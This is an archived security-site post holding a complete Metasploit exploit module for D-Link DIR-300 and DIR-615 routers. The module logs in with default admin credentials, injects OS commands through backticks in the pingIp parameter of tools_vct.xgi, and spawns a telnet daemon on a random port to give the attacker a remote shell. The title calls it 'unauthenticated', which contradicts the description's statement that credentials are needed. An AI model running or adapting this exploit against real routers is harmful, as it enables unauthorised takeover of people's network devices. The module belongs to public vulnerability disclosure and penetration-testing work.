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D-Link Devices Unauthenticated Remote Command Execution

D-Link Devices Unauthenticated Remote Command Execution
Posted Aug 8, 2013
Authored by Michael Messner, juan vazquez | Site metasploit.com

Different D-Link Routers are vulnerable to OS command injection via the web interface. The vulnerability exists in tools_vct.xgi, which is accessible with credentials. This Metasploit module has been tested with the versions DIR-300 rev A v1.05 and DIR-615 rev D v4.13. Two target are included, the first one starts a telnetd service and establish a session over it, the second one runs commands via the CMD target. There is no wget or tftp client to upload an elf backdoor easily. According to the vulnerability discoverer, more D-Link devices may affected.

tags | exploit, web
advisories | OSVDB-92698
SHA-256 | 9d58ec6df990b7786634d5c2bda806a6512ca58a1d498965975b3ba04c0ab5c4

D-Link Devices Unauthenticated Remote Command Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::CommandShell

def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution',
'Description' => %q{
Different D-Link Routers are vulnerable to OS command injection via the web
interface. The vulnerability exists in tools_vct.xgi, which is accessible with
credentials. This module has been tested with the versions DIR-300 rev A v1.05
and DIR-615 rev D v4.13. Two target are included, the first one starts a telnetd
service and establish a session over it, the second one runs commands via the CMD
target. There is no wget or tftp client to upload an elf backdoor easily. According
to the vulnerability discoverer, more D-Link devices may affected.
},
'Author' =>
[
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '92698' ],
[ 'EDB', '25024' ],
[ 'BID', '59405' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-014' ]
],
'DisclosureDate' => 'Apr 22 2013',
'Privileged' => true,
'Platform' => ['linux','unix'],
'Payload' =>
{
'DisableNops' => true,
},
'Targets' =>
[
[ 'CMD', #all devices
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
[ 'Telnet', #all devices - default target
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
],
'DefaultTarget' => 1
))

register_options(
[
OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
OptString.new('PASSWORD',[ false, 'Password to login with', 'admin']),

], self.class)
end

def exploit
user = datastore['USERNAME']

if datastore['PASSWORD'].nil?
pass = ""
else
pass = datastore['PASSWORD']
end

test_login(user, pass)

if target.name =~ /CMD/
exploit_cmd
else
exploit_telnet
end
end

def test_login(user, pass)
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")

login_path = "/login.php"

#valid login response includes the following
login_check = "\<META\ HTTP\-EQUIV\=Refresh\ CONTENT\=\'0\;\ url\=index.php\'\>"

begin
res = send_request_cgi({
'uri' => login_path,
'method' => 'POST',
'vars_post' => {
"ACTION_POST" => "LOGIN",
"LOGIN_USER" => "#{user}",
"LOGIN_PASSWD" => "#{pass}",
"login" => "+Log+In+"
}
})
if res.nil?
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - no response")
end
if (res.headers['Server'].nil? or res.headers['Server'] !~ /Mathopd\/1.5p6/)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - check the server banner")
end
if (res.code == 404)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - 404 error")
end

if (res.body) =~ /#{login_check}/
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
else
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end

rescue ::Rex::ConnectionError
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
end
end

def exploit_cmd
if not (datastore['CMD'])
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
end
res = request(payload.encoded)
if (!res or res.code != 302 or res.headers['Server'].nil? or res.headers['Server'] !~ /Alpha_webserv/)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end

print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state\n")
return
end

def exploit_telnet
telnetport = rand(65535)

vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")

cmd = "telnetd -p #{telnetport}"

#starting the telnetd gives no response
request(cmd)

begin
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })

if sock
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
add_socket(sock)
else
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end

print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
auth_info = {
:host => rhost,
:port => telnetport,
:sname => 'telnet',
:user => "",
:pass => "",
:source_type => "exploit",
:active => true
}
report_auth_info(auth_info)
merge_me = {
'USERPASS_FILE' => nil,
'USER_FILE' => nil,
'PASS_FILE' => nil,
'USERNAME' => nil,
'PASSWORD' => nil
}
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
rescue
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end
return
end

def request(cmd)

uri = '/tools_vct.xgi'

begin
res = send_request_cgi({
'uri' => uri,
'vars_get' => {
'set/runtime/switch/getlinktype' => "1",
'set/runtime/diagnostic/pingIp' => "`#{cmd}`",
'pingIP' => ""
},
'method' => 'GET',
})
return res
rescue ::Rex::ConnectionError
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
end
end
end
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